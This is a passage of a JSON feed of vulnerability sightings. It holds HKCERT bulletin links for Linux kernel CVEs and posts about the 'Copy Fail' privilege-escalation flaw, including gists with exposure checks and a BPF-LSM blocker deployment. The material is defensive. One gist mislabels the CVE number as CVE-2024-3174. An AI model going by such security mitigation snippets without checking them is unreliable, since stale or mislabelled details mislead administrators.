"2026-05-05T20:00:00.000000Z"}, {"uuid": "365cf798-a062-4366-9a95-3b76e014df56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8e6dc1da-bfc1-4495-a828-5ff061a48f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31617", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:08.262652Z"}, {"uuid": "405b765a-3449-4194-bec3-557551c75228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31721", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "350b1831-e58a-405a-b181-980a0151d1c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31728", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "c53038f5-1833-400b-8b41-e8dbda1315d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31737", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4329db54-2b20-4d72-a0ab-6ddd223eec4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31747", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "22e7fb94-ff8c-487e-a49d-6f76be83bb0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31751", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8733e1b9-81d3-4e43-9b9a-bd330d4d23f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31619", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:12.999609Z"}, {"uuid": "fbcf805b-2ea9-4c47-9a89-54826011084e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31758", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "323aa28f-29fd-4d2c-a358-ac4ccd98fffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31625", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:52.703912Z"}, {"uuid": "1abbb8df-1d48-4fa4-a5b1-bc41b4b7bf45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31761", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "60fa0573-f069-4d55-a5b4-6957cb8f48f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31762", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "42d37a4f-2a0a-42b4-9fea-554aeb019256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31763", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e3b92a85-bcbf-420e-b1bc-469826768e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31776", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "c3685e83-9b98-4345-94d8-e0664b6ee324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31454", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4e166b08-7c10-459c-9dd8-ff8e1a566194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31477", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "c4438408-2abe-4e5d-a680-2740ddf1d7d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31480", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "49ec7f3a-0ffc-4ff5-96d3-f2089fca176b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31779", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "43e79e17-80b2-4e42-a5c1-aeeab11a40d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31780", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "65ccb251-4009-400b-b727-dcbc6894e8ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31781", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "d2ec3751-d675-497c-b897-c6871f6da7d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31786", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8852db08-9a14-4adf-83ed-703d7af2d061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31787", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "32c85257-8ab3-40b4-8d95-51ee5b7927d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml66gofldtr2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required hairydog: rmmod algif_aead 2>/dev/null || true No, that alone is not a reliable mitigation. This does no...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T07:27:45.878461Z"}, {"uuid": "8771dd12-5c1f-4a86-9d88-c519563bcfe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31642", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:46.273699Z"}, {"uuid": "8bda773b-0bba-44dd-953a-f80c180e5c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31658", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:53.662425Z"}, {"uuid": "3c816cb8-1bd8-442e-8598-9cbf15ba82d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31628", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:34.828627Z"}, {"uuid": "fe5ea2e9-1a99-4d0a-92a2-dd3ae8790ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31656", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:51.414790Z"}, {"uuid": "fcd0ecc4-b32c-4d44-a1c6-c7bceab753e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31660", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:56.432973Z"}, {"uuid": "280de0a8-a090-4efd-9dec-7fb7d179dcae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31664", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:01:35.562886Z"}, {"uuid": "55210ab0-290c-4267-9506-5de24d20b926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/adegoodyer/4ac687c6d25980f02401cab22a2f9f9e", "content": "# Copy Fail Blocker\n- [Copy Fail Blocker](#copy-fail-blocker)\n  - [Overview](#overview)\n  - [Issue](#issue)\n  - [Resources](#resources)\n  - [Check Vulnerability](#check-vulnerability)\n  - [Deploy Copy Fail Blocker Viability](#deploy-copy-fail-blocker-viability)\n  - [Deploy Copy Fail Blocker](#deploy-copy-fail-blocker)\n  - [Remove Copy Fail Blocker](#remove-copy-fail-blocker)\n\n## Overview\n- BPF-LSM mitigation for the copy fail vulnerability (CVE-2024-3174) in the Linux kernel\n- DaemonSet attaches single BPF-LSM program to the socket_create hook on every node\n- [GitHub: copy-fail-blocker](https://github.com/cozystack/copy-fail-blocker)\n\n## Issue\n- AWS haven't yet release an AMI that includes an upstream fix\n- upgrading to latest AMI version still has container version `kernel6.12-6.12.79-101.147.amzn2023` which is still vulnerable\n\n## Resources\n- [AWS Containers Roadmap](https://github.com/aws/containers-roadmap/issues/2808)\n- [ALSC Status updates](https://explore.alas.aws.amazon.com/CVE-2026-31431.html)\n\n## Check Vulnerability\n```bash\n# ssh into any EKS node\n\n# check for copy fail vulnerability\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# FAIL: AF_ALG socket created - not protected\n```\n\n## Deploy Copy Fail Blocker Viability\n```bash\n# check what BPF LSM is compiled in\ngrep CONFIG_BPF_LSM /boot/config-$(uname -r)\n# CONFIG_BPF_LSM=y\n\n# check bpf is in active LSM stack\ncat /sys/kernel/security/lsm\n# lockdown,capability,landlock,yama,safesetid,selinux,bpf,ima\n```\n\n## Deploy Copy Fail Blocker\n```bash\n# deploy copy fail blocker\nk  apply -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n\n# verify rollout\nk -n kube-system rollout status daemonset/copy-fail-blocker\n\n# verify copy fail is blocked\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# OK: [Errno 1] Operation not permitted\n```\n\n## Remove Copy Fail Blocker\n- remove once an AMI has been released with fix\n\n```bash\n# remove copy fail blocker\nk delete -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n```\n", "creation_timestamp": "2026-05-06T10:35:54.000000Z"}, {"uuid": "025b8b84-d8ef-4fc0-b83f-a4f34ec3b9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31630", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:41.035066Z"}, {"uuid": "eee70977-d301-42e5-b245-d24adb5a5169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31651", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:48.696373Z"}, {"uuid": "bab87c69-f6da-4c8d-814c-8b2c3aa64ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:38.742468Z"}, {"uuid": "ff668d67-96a6-4c39-a7d1-55f8710e9f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31634", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:00:43.593664Z"}, {"uuid": "99c0d926-8bdd-4b90-991c-4d2dcc4cf806", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fookhwa.bsky.social/post/3ml6itwotpo2u", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431) - Help Net Security", "creation_timestamp": "2026-05-06T10:34:03.960587Z"}, {"uuid": "6bfcd001-4dfb-4f19-a49d-29817fe956aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31661", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:01:30.203854Z"}, {"uuid": "fbb1b2da-1508-4058-b80c-2243710cda0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31662", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:01:32.892792Z"}, {"uuid": "e1909d62-702b-471b-a29e-b4213da81ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/jpf-okteto/f82ba1e8aa47320b48288aa30a6192a9", "content": "# Copy Fail Blocker\n- [Copy Fail Blocker](#copy-fail-blocker)\n  - [Overview](#overview)\n  - [Issue](#issue)\n  - [Resources](#resources)\n  - [Check Vulnerability](#check-vulnerability)\n  - [Deploy Copy Fail Blocker Viability](#deploy-copy-fail-blocker-viability)\n  - [Deploy Copy Fail Blocker](#deploy-copy-fail-blocker)\n  - [Remove Copy Fail Blocker](#remove-copy-fail-blocker)\n\n## Overview\n- BPF-LSM mitigation for the copy fail vulnerability (CVE-2024-3174) in the Linux kernel\n- DaemonSet attaches single BPF-LSM program to the socket_create hook on every node\n- [GitHub: copy-fail-blocker](https://github.com/cozystack/copy-fail-blocker)\n\n## Issue\n- AWS haven't yet release an AMI that includes an upstream fix\n- upgrading to latest AMI version still has container version `kernel6.12-6.12.79-101.147.amzn2023` which is still vulnerable\n\n## Resources\n- [AWS Containers Roadmap](https://github.com/aws/containers-roadmap/issues/2808)\n- [ALSC Status updates](https://explore.alas.aws.amazon.com/CVE-2026-31431.html)\n\n## Check Vulnerability\n```bash\n# ssh into any EKS node\n\n# check for copy fail vulnerability\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# FAIL: AF_ALG socket created - not protected\n```\n\n## Deploy Copy Fail Blocker Viability\n```bash\n# check what BPF LSM is compiled in\ngrep CONFIG_BPF_LSM /boot/config-$(uname -r)\n# CONFIG_BPF_LSM=y\n\n# check bpf is in active LSM stack\ncat /sys/kernel/security/lsm\n# lockdown,capability,landlock,yama,safesetid,selinux,bpf,ima\n```\n\n## Deploy Copy Fail Blocker\n```bash\n# deploy copy fail blocker\nk  apply -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n\n# verify rollout\nk -n kube-system rollout status daemonset/copy-fail-blocker\n\n# verify copy fail is blocked\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# OK: [Errno 1] Operation not permitted\n```\n\n## Remove Copy Fail Blocker\n- remove once an AMI has been released with fix\n\n```bash\n# remove copy fail blocker\nk delete -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n```\n", "creation_timestamp": "2026-05-06T11:19:12.000000Z"}, {"uuid": "4e572807-2624-49ad-8798-422f76f31769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml6marlb7tu2", "content": "Copy Fail (CVE-2026-31431): Patching kernels without rebooting Most kernel CVEs follow a predictable rhythm for hosting providers: read the advisory, schedule a maintenance window, reboot during of...\n\n#KernelCare #CVE #Vulnerability #Live #Patching #Kernel #Update\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T11:37:56.254037Z"}, {"uuid": "95c8731d-e711-46c3-895b-e586cc722990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ml6rh7ws2pd2", "content": "CopyFail\u2019s Silent Root Takeover: How a Nine-Year Linux Kernel Flaw Ignites Active Exploits and CISA\u2019s Urgent Patch Mandate CVE-2026-31431, the CopyFail Linux kernel flaw, enables unprivileged r...\n\n#CybersecurityUpdate #CISA #KEV #CopyFail #CVE-2026-31431 [\u2026] \n\n[Original post on webpronews.com]", "creation_timestamp": "2026-05-06T13:12:05.555336Z"}, {"uuid": "87cbf76f-4ddb-44c1-a4c5-b873413a1fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:02:10.657027Z"}, {"uuid": "9fa78a24-fde1-4840-8e58-294e37b869fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31671", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:03:19.771593Z"}, {"uuid": "196b842b-2d6e-4d00-8786-b8759f32b779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31673", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:03:55.961153Z"}, {"uuid": "54f431dd-08a1-4748-9fb3-7d4646dab8dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/WeszNL/b7a1079b1a9973117d33b7d729638fbe", "content": "Quickly scan all ansible'd hosts for potential exposure to CVE-2026-31431 (COPY-FAIL).\n\n```bash\nansible all -i inventory -b -m shell -a \"test -d /sys/module/algif_aead && echo 'algif_aead=loaded' || echo 'algif_aead=not_loaded'; echo 'MODPROBE_CHECK:'; modprobe -n -v algif_aead 2>&1 | sed 's/^/modprobe: /'\"\n\nDoes:\n- checks if the algif_aead kernel module is currently loaded on each host\n- verifies whether the module can be loaded via modprobe (dry-run)\n- helps assess potential exposure without making changes\n\nDoes not:\n- patch anything; you need to mitigate or update kernels yourself", "creation_timestamp": "2026-05-06T14:03:16.000000Z"}, {"uuid": "1ae13f8c-8b43-4ab7-8277-112c674ba3a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31670", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:04:51.820105Z"}, {"uuid": "bc9b1a7f-d8e6-441d-a351-07d95ba515b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lascapi.social.tchncs.de.ap.brid.gy/post/3ml6wld6itgv2", "content": "Copy Fail CVE-2026-31431\n\n> How they found it\n> Taeyang Lee's earlier kernelCTF work had mapped out the AF_ALG attack surface. He realized that AF_ALG + splice creates a path where unprivileged userspace can feed page cache pages directly into the crypto subsystem and suspected that scatterlist [\u2026]", "creation_timestamp": "2026-05-06T14:39:51.127335Z"}, {"uuid": "cc3399bc-a40f-4d21-aae5-3f61f855e049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3ml6yfwt4jj2r", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\u00a0Catalog\n\nCISA has added CVE-2026-31431, a Linux local privilege escalation bug, to the KEV catalog after signs of active exploitation.", "creation_timestamp": "2026-05-06T15:12:33.443335Z"}, {"uuid": "3420ae3a-3e8e-4479-a929-5c461ac6e2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/puntocomunica2.bsky.social/post/3ml6yhpdj322e", "content": "\ud83d\udea8 URGENTE: Vulnerabilidad del kernel \u00abCopy Fail\u00bb (CVE-2026-31431): Acci\u00f3n inmediata requerida indaga.net/urgente-vuln...", "creation_timestamp": "2026-05-06T15:13:35.009425Z"}, {"uuid": "9beea3d7-9e81-49fa-9597-7bbf4f07f06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml6yibsgk5f2", "content": "CISA alerta de explotaci\u00f3n activa de Copy Fail para obtener root en Linux CVE-2026-31431 (Copy Fail) ya se est\u00e1 explotando de forma activa para lograr root en sistemas Linux, lo que ha llevado CV...\n\n#Seguridad\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T15:16:43.427430Z"}, {"uuid": "4e27ba09-2d57-48ee-a6b1-6011510fe09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31676", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:05:07.994070Z"}, {"uuid": "60601862-08e0-4f95-afe8-7203a3a87a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/purpleshift/179", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 